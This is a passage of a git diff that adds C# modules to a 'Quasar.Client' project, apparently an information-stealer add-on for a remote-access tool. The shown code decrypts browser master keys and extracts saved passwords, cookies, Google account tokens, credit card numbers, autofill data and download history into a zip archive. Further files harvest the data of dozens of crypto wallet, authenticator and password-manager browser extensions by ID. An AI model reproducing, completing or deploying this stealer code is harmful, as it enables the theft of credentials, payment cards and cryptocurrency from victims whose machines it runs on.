{ + string historyPath = Path.Combine(profile, "History"); + if (File.Exists(historyPath)) + { + byte[] bytes = File.ReadAllBytes(historyPath); + SqLite sqLite = new SqLite(bytes); + sqLite.ReadTable("downloads"); + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < sqLite.GetRowCount(); i++) + { + try + { + string url = sqLite.GetValue(i, 2); + if (!string.IsNullOrEmpty(url)) + { + sb.AppendLine(url); + } + } + catch + { + } + } + if (sb.Length > 0) + { + zip.AddTextFile("Browser/Download/" + browsername + "_" + profilename + ".txt", sb.ToString()); + } + } + } + catch + { + } + } + + private void FingerPrint(InMemoryZip zip, string profile, string profilename, string browsername) + { + try + { + string localStatePath = Path.Combine(Path.GetDirectoryName(profile), "Local State"); + if (File.Exists(localStatePath)) + { + string content = File.ReadAllText(localStatePath); + Match match = Regex.Match(content, "\"profile\"\\s*:\\s*\\{[^}]*\"name\"\\s*:\\s*\"([^\"]+)\"[^}]*\\}", RegexOptions.IgnoreCase); + if (match.Success) + { + string profileName = match.Groups[1].Value; + StringBuilder json = new StringBuilder(); + json.AppendLine("{"); + json.AppendLine(" \"browser\": {"); + json.AppendLine(" \"name\": \"" + browsername + "\","); + json.AppendLine(" \"version\": \"128.0.0.0\""); + json.AppendLine(" },"); + json.AppendLine(" \"profile\": \"" + profileName + "\""); + json.AppendLine("}"); + zip.AddTextFile("Browser/FingerPrint/" + browsername + "_" + profilename + ".json", json.ToString()); + } + } + } + catch + { + } + } + + private void GoogleAccounts(InMemoryZip zip, string profile, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + try + { + string tokenPath = Path.Combine(profile, "Web Data"); + if (File.Exists(tokenPath)) + { + byte[] bytes = File.ReadAllBytes(tokenPath); + SqLite sqLite = new SqLite(bytes); + sqLite.ReadTable("token_service"); + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < sqLite.GetRowCount(); i++) + { + try + { + string service = sqLite.GetValue(i, 0); + byte[] encryptedToken = Encoding.Default.GetBytes(sqLite.GetValue(i, 1)); + if (encryptedToken != null && encryptedToken.Length > 0 && service.Contains("AccountId")) + { + byte[] decrypted = AesGcm.DecryptBrowser(encryptedToken, masterv10, masterv20, checkprefix: false); + if (decrypted != null) + { + string token = Encoding.UTF8.GetString(decrypted); + sb.AppendLine(token); + } + } + } + catch + { + } + } + if (sb.Length > 0) + { + zip.AddTextFile("Browser/GoogleAccounts/" + browsername + "_" + profilename + ".txt", sb.ToString()); + } + } + } + catch + { + } + } + + private void MasterKeys(InMemoryZip zip, string browser, string profilename, string browsername) + { + try + { + string localStatePath = browser + "\\Local State"; + if (File.Exists(localStatePath)) + { + byte[] masterv10 = LocalState.MasterKeyV10(localStatePath); + byte[] masterv20 = LocalState.MasterKeyV20(localStatePath); + if (masterv10 != null) + { + zip.AddTextFile("Browser/MasterKeys/" + browsername + "_" + profilename + ".txt", Convert.ToBase64String(masterv10)); + } + else if (masterv20 != null) + { + zip.AddTextFile("Browser/MasterKeys/" + browsername + "_" + profilename + ".txt", Convert.ToBase64String(masterv20)); + } + } + } + catch + { + } + } + + private void SaveBrowserPath(InMemoryZip zip, string profile, string profilename, string browsername) + { + try + { + zip.AddTextFile("Browser/Path/" + browsername + "_" + profilename + ".txt", profile); + } + catch + { + } + } + + private void UA(InMemoryZip zip, string profile, string profilename, string browsername) + { + try + { + string localStatePath = Path.Combine(Path.GetDirectoryName(profile), "Local State"); + if (File.Exists(localStatePath)) + { + string content = File.ReadAllText(localStatePath); + Match match = Regex.Match(content, "\"user_agent\"\\s*:\\s*\"([^\"]+)\"", RegexOptions.IgnoreCase); + if (match.Success) + { + zip.AddTextFile("Browser/UA/" + browsername + "_" + profilename + ".txt", match.Groups[1].Value); + } + else + { + zip.AddTextFile("Browser/UA/" + browsername + "_" + profilename + ".txt", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36"); + } + } + } + catch + { + } + } + + private void Version(InMemoryZip zip, string browser, string profilename, string browsername) + { + try + { + string versionPath = Path.Combine(Path.GetDirectoryName(browser), "Application", browsername + ".exe"); + if (!File.Exists(versionPath)) + { + versionPath = Path.Combine(Path.GetDirectoryName(browser), browsername + ".exe"); + } + if (!File.Exists(versionPath)) + { + string[] possiblePaths = new string[] + { + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "Google", "Chrome", "Application", "chrome.exe"), + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "Google", "Chrome", "Application", "chrome.exe"), + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google", "Chrome", "Application", "chrome.exe") + }; + foreach (string path in possiblePaths) + { + if (File.Exists(path)) + { + versionPath = path; + break; + } + } + } + if (File.Exists(versionPath)) + { + System.Diagnostics.FileVersionInfo versionInfo = System.Diagnostics.FileVersionInfo.GetVersionInfo(versionPath); + zip.AddTextFile("Browser/Version/" + browsername + "_" + profilename + ".txt", versionInfo.FileVersion ?? "Unknown"); + } + } + catch + { + } + } + + private void Password(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + if (masterv10 == null && masterv20 == null) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + string value = sSqLite.GetValue(i, 0); + string value2 = sSqLite.GetValue(i, 3); + byte[] bytes = Encoding.Default.GetBytes(sSqLite.GetValue(i, 5)); + if (bytes != null && !string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(value2)) + { + byte[] array = AesGcm.DecryptBrowser(bytes, masterv10, masterv20, checkprefix: false); + if (array != null) + { + string text = Encoding.UTF8.GetString(array); + string item = "URL: " + value + "\nUsername: " + value2 + "\nPassword: " + text + "\n\n"; + lines.Add(item); + ++counterBrowser.Password; + } + } + } + catch + { + } + }); + zip.AddTextFile("Browser/Logins/" + browsername + "_" + profilename + ".txt", string.Concat(lines)); + } + + private void Cookies(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + if (masterv10 == null && masterv20 == null) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + byte[] bytes = Encoding.Default.GetBytes(sSqLite.GetValue(i, 5)); + string value = sSqLite.GetValue(i, 4); + string value2 = sSqLite.GetValue(i, 1); + string value3 = sSqLite.GetValue(i, 3); + string value4 = sSqLite.GetValue(i, 6); + string value5 = sSqLite.GetValue(i, 7); + if (!string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(value3) && !string.IsNullOrEmpty(value4) && !string.IsNullOrEmpty(value5)) + { + if (!string.IsNullOrEmpty(value)) + { + string item = value2 + "\tTRUE\t" + value4 + "\tFALSE\t" + value5 + "\t" + value3 + "\t" + value + "\n"; + lines.Add(item); + } + else + { + byte[] array = AesGcm.DecryptBrowser(bytes, masterv10, masterv20, checkprefix: true); + if (array != null) + { + string text = Encoding.UTF8.GetString(array); + string item2 = value2 + "\tTRUE\t" + value4 + "\tFALSE\t" + value5 + "\t" + value3 + "\t" + text + "\n"; + lines.Add(item2); + ++counterBrowser.Cookies; + } + } + } + } + catch + { + } + }); + zip.AddTextFile("Browser/Cookies/" + browsername + "_" + profilename + ".txt", string.Concat(lines)); + } + + private void AutoFill(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + string value = sSqLite.GetValue(i, 0); + string value2 = sSqLite.GetValue(i, 1); + if (!string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(value)) + { + string item = "Name: " + value + "\nValue: " + value2 + "\n\n"; + lines.Add(item); + ++counterBrowser.AutoFill; + } + } + catch + { + } + }); + zip.AddTextFile("Browser/Autofill/" + browsername + "_" + profilename + ".txt", string.Concat(lines)); + } + + private void CreditCards(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + if (masterv10 == null && masterv20 == null) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + byte[] bytes = Encoding.Default.GetBytes(sSqLite.GetValue(i, 4)); + string value = sSqLite.GetValue(i, 3); + string value2 = sSqLite.GetValue(i, 2); + string value3 = sSqLite.GetValue(i, 1); + if (bytes != null && !string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(value3)) + { + byte[] array = AesGcm.DecryptBrowser(bytes, masterv10, masterv20, checkprefix: false); + if (array != null) + { + string text = Encoding.UTF8.GetString(array); + string item = "Number: " + text + "\nExp: " + value2 + "/" + value + "\nHolder: " + value3 + "\n\n"; + lines.Add(item); + ++counterBrowser.CreditCards; + } + } + } + catch + { + } + }); + zip.AddTextFile("Browser/Credits/" + browsername + "_" + profilename + ".txt", string.Concat(lines)); + } + + private void TokenRestore(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + if (masterv10 == null && masterv20 == null) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + string value = sSqLite.GetValue(i, 0); + byte[] bytes = Encoding.Default.GetBytes(sSqLite.GetValue(i, 1)); + if (bytes != null) + { + byte[] array = AesGcm.DecryptBrowser(bytes, masterv10, masterv20, checkprefix: false); + if (array != null) + { + string text = Encoding.UTF8.GetString(array) + ":" + value.Replace("AccountId-", "") + "\n"; + lines.Add(text); + ++counterBrowser.RestoreToken; + if (value.Contains("AccountId")) + { + zip.AddTextFile("Browser/Cookies/" + browsername + "_" + profilename + "_Restore.txt", RestoreCookies.CRestore(text)); + } + } + } + } + catch + { + } + }); + zip.AddTextFile("RestoreToken\\RestoreToken_[" + browsername + "]" + profilename + ".txt", string.Concat(lines)); + } + + private void YandexPassword(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + if (masterv10 == null) + { + return; + } + byte[] encryptionKey = LocalEncryptor.ExtractEncryptionKey(sSqLite, masterv10); + if (encryptionKey == null || encryptionKey.Length != 32) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + string value = sSqLite.GetValue(i, 0); + string value2 = sSqLite.GetValue(i, 2); + string value3 = sSqLite.GetValue(i, 3); + string value4 = sSqLite.GetValue(i, 4); + string value5 = sSqLite.GetValue(i, 7); + byte[] bytes = Encoding.Default.GetBytes(sSqLite.GetValue(i, 5)); + if (bytes.Length != 0) + { + byte[] bytes2 = YaAuthenticatedData.Decrypt(encryptionKey, bytes, value, value2, value4, value3, value5); + string item = "URL: " + value + "\nUsername: " + value3 + "\nPassword: " + Encoding.UTF8.GetString(bytes2) + "\n\n"; + lines.Add(item); + ++counterBrowser.Password; + } + } + catch + { + } + }); + zip.AddTextFile("Browser/Logins/" + browsername + "_" + profilename + ".txt", string.Concat(lines)); + } + + private void YandexGetCard(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + if (masterv10 == null) + { + return; + } + byte[] encryptionKey = LocalEncryptor.ExtractEncryptionKey(sSqLite, masterv10); + if (encryptionKey == null || encryptionKey.Length != 32) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + byte[] bytes = Encoding.Default.GetBytes(sSqLite.GetValue(i, 0)); + byte[] bytes2 = Encoding.Default.GetBytes(sSqLite.GetValue(i, 2)); + string value = sSqLite.GetValue(i, 1); + byte[] array = new byte[12]; + Array.Copy(bytes2, 0, array, 0, 12); + int num = bytes2.Length - 12 - 16; + byte[] array2 = new byte[num]; + Array.Copy(bytes2, 12, array2, 0, num); + byte[] array3 = new byte[16]; + Array.Copy(bytes2, bytes2.Length - 16, array3, 0, 16); + string input = Encoding.UTF8.GetString(AesGcm256.Decrypt(encryptionKey, array, bytes, array2, array3)); + Match match = Regex.Match(input, "[\"']?full_card_number[\"']?\\s*:\\s*[\"']?(?[\\d\\s\\-]+)[\"']?", RegexOptions.IgnoreCase); + string text = (match.Success ? match.Groups["v"].Value.Trim() : null); + if (string.IsNullOrEmpty(text)) + { + Match match2 = Regex.Match(input, "[\"']?(?:card_number|number)[\"']?\\s*:\\s*[\"']?(?[\\d\\s\\-]+)[\"']?", RegexOptions.IgnoreCase); + text = (match2.Success ? match2.Groups["v"].Value.Trim() : null); + } + Match match3 = Regex.Match(value, "[\"']?expire_date_month[\"']?\\s*:\\s*[\"']?(?\\d{1,2})[\"']?", RegexOptions.IgnoreCase); + Match match4 = Regex.Match(value, "[\"']?expire_date_year[\"']?\\s*:\\s*[\"']?(?\\d{2,4})[\"']?", RegexOptions.IgnoreCase); + string text2 = (match3.Success ? match3.Groups["m"].Value.PadLeft(2, '0') : null); + string text3 = (match4.Success ? match4.Groups["y"].Value : null); + Match match5 = Regex.Match(value, "[\"']?card_holder[\"']?\\s*:\\s*[\"'](?(?:\\\\.|[^\"])*)[\"']", RegexOptions.IgnoreCase | RegexOptions.Singleline); + string text4 = (match5.Success ? match5.Groups["v"].Value : null); + if (string.IsNullOrEmpty(text4)) + { + Match match6 = Regex.Match(value, "[\"']?(?:cardholder|holder|name)[\"']?\\s*:\\s*[\"'](?(?:\\\\.|[^\"])*)[\"']", RegexOptions.IgnoreCase | RegexOptions.Singleline); + text4 = (match6.Success ? match6.Groups["v"].Value : text4); + } + if (!string.IsNullOrEmpty(text4)) + { + text4 = Regex.Unescape(text4); + text4 = Regex.Replace(text4, "\\\\u([0-9A-Fa-f]{4})", (Match m) => ((char)Convert.ToInt32(m.Groups[1].Value, 16)).ToString()); + text4 = text4.Trim(); + if (Regex.IsMatch(text4, "^[A-Za-z0-9\\+/=]{8,}$")) + { + try + { + byte[] bytes3 = Convert.FromBase64String(text4); + string text5 = Encoding.UTF8.GetString(bytes3); + if (!string.IsNullOrWhiteSpace(text5)) + { + text4 = text5.Trim(); + } + } + catch + { + } + } + } + if (string.IsNullOrEmpty(text)) + { + text = "Unknown"; + } + if (string.IsNullOrEmpty(text2)) + { + text2 = "Unknown"; + } + if (string.IsNullOrEmpty(text3)) + { + text3 = "Unknown"; + } + if (string.IsNullOrEmpty(text4)) + { + text4 = "Unknown"; + } + string item = "Number: " + text + "\nExp: " + text2 + "/" + text3 + "\nHolder: " + text4 + "\n\n"; + lines.Add(item); + ++counterBrowser.CreditCards; + } + catch + { + } + }); + zip.AddTextFile("Browser/Credits/" + browsername + "_" + profilename + ".txt", string.Concat(lines)); + } + + private void MaskCreditCards(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + string value = sSqLite.GetValue(i, 1); + string value2 = sSqLite.GetValue(i, 2); + string value3 = sSqLite.GetValue(i, 3); + string value4 = sSqLite.GetValue(i, 4); + string value5 = sSqLite.GetValue(i, 5); + string value6 = sSqLite.GetValue(i, 6); + string value7 = sSqLite.GetValue(i, 7); + string value8 = sSqLite.GetValue(i, 12); + string item = "Name On Card: " + value + "\nNetwork: " + value2 + "\nCard Last Number: " + value3 + "\nExp: " + value4 + "/" + value5 + "\nBank Name: " + value6 + "\nNickName: " + value7 + "\nProduct Description: " + value8 + "\n\n"; + lines.Add(item); + ++counterBrowser.MaskCreditCard; + } + catch + { + } + }); + zip.AddTextFile("Browser/Credits/" + browsername + "_" + profilename + "_Mask.txt", string.Concat(lines)); + } + + private void MaskedIbans(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + string value = sSqLite.GetValue(i, 1); + string value2 = sSqLite.GetValue(i, 2); + string value3 = sSqLite.GetValue(i, 3); + string item = "Nickname: " + value3 + "\nPrefix: " + value + "\nSuffix: " + value2 + "\n\n"; + lines.Add(item); + ++counterBrowser.MaskedIban; + } + catch + { + } + }); + zip.AddTextFile("Browser/Credits/" + browsername + "_" + profilename + "_Iban.txt", string.Concat(lines)); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/CryptoChromium.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/CryptoChromium.cs new file mode 100755 index 0000000..5ff035d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/CryptoChromium.cs @@ -0,0 +1,155 @@ +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Threading.Tasks; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Browsers; + +public class CryptoChromium : ITarget +{ + private readonly List ChromeWalletsDirectories = new List + { + new string[2] { "Trust Wallets", "pknlccmneadmjbkollckpblgaaabameg" }, + new string[2] { "MetaWallet", "pfknkoocfefiocadajpngdknmkjgakdg" }, + new string[2] { "Guarda Wallet", "fcglfhcjfpkgdppjbglknafgfffkelnm" }, + new string[2] { "Exodus", "idkppnahnmmggbmfkjhiakkbkdpnmnon" }, + new string[2] { "JaxxxLiberty", "mhonjhhcgphdphdjcdoeodfdliikapmj" }, + new string[2] { "Atomic Wallet", "bhmlbgebokamljgnceonbncdofmmkedg" }, + new string[2] { "Mycelium", "pidhddgciaponoajdngciiemcflpnnbg" }, + new string[2] { "Coinomi", "blbpgcogcoohhngdjafgpoagcilicpjh" }, + new string[2] { "GreenAddress", "gflpckpfdgcagnbdfafmibcmkadnlhpj" }, + new string[2] { "Edge", "doljkehcfhidippihgakcihcmnknlphh" }, + new string[2] { "BRD", "nbokbjkelpmlgflobbohapifnnenbjlh" }, + new string[2] { "Samourai Wallet", "apjdnokplgcjkejimjdfjnhmjlbpgkdi" }, + new string[2] { "Copay", "ieedgmmkpkbiblijbbldefkomatsuahh" }, + new string[2] { "Bread", "jifanbgejlbcmhbbdbnfbfnlmbomjedj" }, + new string[2] { "KeepKey", "dojmlmceifkfgkgeejemfciibjehhdcl" }, + new string[2] { "Trezor", "jpxupxjxheguvfyhfhahqvxvyqthiryh" }, + new string[2] { "Ledger Live", "pfkcfdjnlfjcmkjnhcbfhfkkoflnhjln" }, + new string[2] { "Ledger Wallet", "hbpfjlflhnmkddbjdchbbifhllgmmhnm" }, + new string[2] { "Bitbox", "ocmfilhakdbncmojmlbagpkjfbmeinbd" }, + new string[2] { "Digital Bitbox", "dbhklojmlkgmpihhdooibnmidfpeaing" }, + new string[2] { "YubiKey", "mammpjaaoinfelloncbbpomjcihbkmmc" }, + new string[2] { "Nifty Wallet", "jbdaocneiiinmjbjlgalhcelgbejmnid" }, + new string[2] { "Math Wallet", "afbcbjpbpfadlkmhmclhkeeodmamcflc" }, + new string[2] { "Coinbase Wallet", "hnfanknocfeofbddgcijnmhnfnkdnaad" }, + new string[2] { "Equal Wallet", "blnieiiffboillknjnepogjhkgnoac" }, + new string[2] { "EVER Wallet", "cgeeodpfagjceefieflmdfphplkenlfk" }, + new string[2] { "Jaxx Liberty", "ocefimbphcgjaahbclemolcmkeanoagc" }, + new string[2] { "BitApp Wallet", "fihkakfobkmkjojpchpfgcmhfjnmnfpi" }, + new string[2] { "Mew CX", "nlbmnnijcnlegkjjpcfjclmcfggfefdm" }, + new string[2] { "GU Wallet", "nfinomegcaccbhchhgflladpfbajihdf" }, + new string[2] { "Guild Wallet", "nanjmdkhkinifnkgdeggcnhdaammmj" }, + new string[2] { "Saturn Wallet", "nkddgncdjgifcddamgcmfnlhccnimig" }, + new string[2] { "Harmony Wallet", "fnnegphlobjdpkhecapkijjdkgcjhkib" }, + new string[2] { "TON Wallet", "nphplpgoakhhjchkkhmiggakijnkhfnd" }, + new string[2] { "OpenMask Wallet", "penjlddjkjgpnkllboccdgccekpkcbin" }, + new string[2] { "MyTonWallet", "fldfpgipfncgndfolcbkdeeknbbbnhcc" }, + new string[2] { "DeWallet", "pnccjgokhbnggghddhahcnaopgeipafg" }, + new string[2] { "TrustWallet", "egjidjbpglichdcondbcbdnbeeppgdph" }, + new string[2] { "NC Wallet", "imlcamfeniaidioeflifonfjeeppblda" }, + new string[2] { "Moso Wallet", "ajkifnllfhikkjbjopkhmjoieikeihjb" }, + new string[2] { "Enkrypt Wallet", "kkpllkodjeloidieedojogacfhpaihoh" }, + new string[2] { "CirusWeb3 Wallet", "kgdijkcfiglijhaglibaidbipiejjfdp" }, + new string[2] { "Martian and Sui Wallet", "efbglgofoippbgcjepnhiblaibcnclgk" }, + new string[2] { "SubWallet", "onhogfjeacnfoofkfgppdlbmlmnplgbn" }, + new string[2] { "Pontem Wallet", "phkbamefinggmakgklpkljjmgibohnba" }, + new string[2] { "Talisman Wallet", "fijngjgcjhjmmpcmkeiomlglpeiijkld" }, + new string[2] { "Kardiachain Wallet", "pdadjkfkgcafgbceimcpbkalnfnepbnk" }, + new string[2] { "Phantom Wallet", "bfnaelmomeimhipmgjnjophhpkkoljpa" }, + new string[2] { "Phantom Wallet", "bfnaelmomeimhlpmgjnjophhpkkoljpa" }, + new string[2] { "Oxygen Wallet", "fhilaheimglignddjgofkcbgekhenbh" }, + new string[2] { "PaliWallet", "mgfffbidihjpoaomajlbgchddlicgpn" }, + new string[2] { "BoltX Wallet", "aodkkagnadcbobfpggnjeongemjbjca" }, + new string[2] { "Liquality Wallet", "kpopkelmapcoipemfendmdghnegimn" }, + new string[2] { "xDefi Wallet", "hmeobnffcmdkdcmlb1gagmfpfboieaf" }, + new string[2] { "Nami Wallet", "ipfcbjknijpeeillifnkikgncikgfhdo" }, + new string[2] { "MaiarDeFi Wallet", "dngmlblcodfobpdpecaadgfbeggfjfnm" }, + new string[2] { "MetaMask Wallet", "nkbihfbeogaeaoehlefnkodbefgpgknn" }, + new string[2] { "MetaMask Wallet", "djclckkglechooblngghdinmeemkbgci" }, + new string[2] { "MetaMask Wallet", "ejbalbakoplchlghecdalmeeeajnimhm" }, + new string[2] { "Goblin Wallet", "mlbafbjadjidk1bhgopoamemfibcpdfi" }, + new string[2] { "Braavos Smart Wallet", "jnlgamecbpmbajjfhmmmlhejkemejdma" }, + new string[2] { "UniSat Wallet", "ppbibelpcjmhbdihakflkdcoccbgbkpo" }, + new string[2] { "OKX Wallet", "mcohilncbfahbmgdjkbpemcciiolgcge" }, + new string[2] { "Manta Wallet", "enabgbdfcbaehmbigakijjabdpdnimlg" }, + new string[2] { "Suku Wallet", "fopmedgnkfpebgllppeddmmochcookhc" }, + new string[2] { "Suiet Wallet", "khpkpbbcccdmmclmpigdgddabeilkdpd" }, + new string[2] { "Koala Wallet", "lnnnmfcpbkafcpgdilckhmhbkkbpkmid" }, + new string[2] { "ExodusWeb3 Wallet", "aholpfdialjgjfhomihkjbmgjidlcdno" }, + new string[2] { "Aurox Wallet", "kilnpioakcdndlodeeceffgjdpojajlo" }, + new string[2] { "Fewcha Move Wallet", "ebfidpplhabeedpnhjnobghokpiioolj" }, + new string[2] { "Carax Demon Wallet", "mdjmfdffdcmnoblignmgpommbefadffd" }, + new string[2] { "Leap Terra Wallet", "aijcbedoijmgnlmjeegjaglmepbmpkpi" }, + new string[2] { "Keplr Wallet", "dmkamcknogkgcdfhhbddcghachkejeap" }, + new string[2] { "Binance Chain Wallet", "fhbohimaelbohpjbbldcngcnapndodjp" }, + new string[2] { "Yoroi Wallet", "ffnbelfdoeiohenkjibnmadjiehjhajb" }, + new string[2] { "Rabby Wallet", "acmacodkjbdgmoleebolmdjonilkdbch" }, + new string[2] { "TokenPocket", "mfgccjchihfkkindfppnaooecgfneiii" }, + new string[2] { "SafePal Extension Wallet", "lgmpcpglpngdoalbgeoldeajfclnhafa" }, + new string[2] { "Magic Eden Wallet", "mkpegjkblkkefacfnmkajcjmabijhclg" }, + new string[2] { "Ronin", "fnjhmkhhmkbjkkabndcnnogagogbneec" }, + new string[2] { "Coin98", "aeachknmefphepccionboohckonoeemg" }, + new string[2] { "TerraStation", "aiifbnbfobpmeekipheeijimdpnlpgpp" }, + new string[2] { "Wombat", "amkmjjmmflddogmhpjloimipbofnfjih" }, + new string[2] { "Nami", "lpfcbjknijpeeillifnkikgncikgfhdo" }, + new string[2] { "XDEFI", "hmeobnfnfcmdkdcmlblgagmfpfboieaf" }, + new string[2] { "Tron", "ibnejdfjmmkpcnlpebklmnkoeoihofec" }, + new string[2] { "Authenticator", "bhghoamapcdpbohphigoooaddinpkbai" }, + new string[2] { "Google Authenticator", "khcodhlfkpmhibicdjjblnkgimdepgnd" }, + new string[2] { "Microsoft Authenticator", "bfbdnbpibgndpjfhonkflpkijfapmomn" }, + new string[2] { "Authy", "gjffdbjndmcafeoehgdldobgjmlepcal" }, + new string[2] { "Duo Mobile", "eidlicjlkaiefdbgmdepmmicpbggmhoj" }, + new string[2] { "OTP Auth", "bobfejfdlhnabgglompioclndjejolch" }, + new string[2] { "FreeOTP", "elokfmmmjbadpgdjmgglocapdckdcpkn" }, + new string[2] { "Aegis Authenticator", "ppdjlkfkedmidmclhakfncpfdmdgmjpm" }, + new string[2] { "LastPass Authenticator", "cfoajccjibkjhbdjnpkbananbejpkkjb" }, + new string[2] { "Dashlane", "flikjlpgnpcjdienoojmgliechmmheek" }, + new string[2] { "Keeper", "gofhklgdnbnpcdigdgkgfobhhghjmmkj" }, + new string[2] { "RoboForm", "hppmchachflomkejbhofobganapojjol" }, + new string[2] { "KeePass", "lbfeahdfdkibininjgejjgpdafeopflb" }, + new string[2] { "KeePassXC", "kgeohlebpjgcfiidfhhdlnnkhefajmca" }, + new string[2] { "Bitwarden", "inljaljiffkdgmlndjkdiepghpolcpki" }, + new string[2] { "NordPass", "njgnlkhcjgmjfnfahdmfkalpjcneebpl" }, + new string[2] { "LastPass", "gabedfkgnbglfbnplfpjddgfnbibkmbb" } + }; + + public void Collect(InMemoryZip zip, Counter counter) + { + Parallel.ForEach(Paths.Chromium, delegate(string browser) + { + if (Directory.Exists(browser)) + { + Parallel.ForEach(Directory.GetDirectories(browser), delegate(string profile) + { + string browsername = Paths.GetBrowserName(browser); + string profilename = Path.GetFileName(profile); + Task.Run(delegate + { + GetChromeWallets(zip, counter, profile, profilename, browsername); + }); + }); + } + }); + } + + private void GetChromeWallets(InMemoryZip zip, Counter counter, string profilePath, string profilename, string browserName) + { + string path = Path.Combine(profilePath, "Local Extension Settings"); + if (!Directory.Exists(path)) + { + return; + } + Dictionary extensionDirs = Directory.EnumerateDirectories(path).ToDictionary((string dir) => Path.GetFileName(dir).ToLowerInvariant(), (string dir) => dir); + Parallel.ForEach(ChromeWalletsDirectories, delegate(string[] walletInfo) + { + string key = walletInfo[1]; + if (extensionDirs.TryGetValue(key, out var value)) + { + zip.AddDirectoryFiles(value, "Extension/" + Path.GetFileName(value)); + counter.CryptoChromium.Add(value + " => " + browserName + "_" + profilename + " " + walletInfo[0]); + } + }); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/CryptoGecko.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/CryptoGecko.cs new file mode 100755 index 0000000..a698efc --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/CryptoGecko.cs @@ -0,0 +1,62 @@ +using System.Collections.Generic; +using System.IO; +using System.Threading.Tasks; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Browsers; + +public class CryptoGecko : ITarget +{ + private readonly List GeckoWalletsDirectories = new List + { + new string[2] { "Metamask Wallet", "7d61b592-e488-4f55-bf12-8d0ae55fd100" }, + new string[2] { "Metamask Wallet", "bb29e575-946e-4e69-b956-f73aec0a9927" }, + new string[2] { "Phantom Wallet", "e212a176-a331-462c-a024-d2f9027f15fc" }, + new string[2] { "Phantom Wallet", "a02b2aab-5dca-4649-93cf-f6a34860fbd5" } + }; + + public void Collect(InMemoryZip zip, Counter counter) + { + Parallel.ForEach(Paths.Gecko, delegate(string browser) + { + if (Directory.Exists(browser)) + { + Parallel.ForEach(Directory.GetDirectories(browser), delegate(string profile) + { + string browsername = Paths.GetBrowserName(browser); + string profilename = Path.GetFileName(profile); + Task.Run(delegate + { + GetGeckoWallets(zip, counter, profile, profilename, browsername); + }); + }); + } + }); + } + + private void GetGeckoWallets(InMemoryZip zip, Counter counter, string profilePath, string profilename, string browserName) + { + string extensionsPath = Path.Combine(profilePath, "storage", "default"); + if (!Directory.Exists(extensionsPath)) + { + return; + } + Parallel.ForEach(GeckoWalletsDirectories, delegate(string[] walletInfo) + { + string text = walletInfo[1]; + string[] directories = Directory.GetDirectories(extensionsPath, "moz-extension+++" + text + "*", SearchOption.TopDirectoryOnly); + foreach (string text2 in directories) + { + try + { + string text3 = browserName + "_" + profilename + " " + walletInfo[0]; + zip.AddDirectoryFiles(text2, "Extension/" + Path.GetFileName(text2)); + counter.CryptoChromium.Add(text2 + " => " + text3); + } + catch + { + } + } + }); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/Gecko.cs 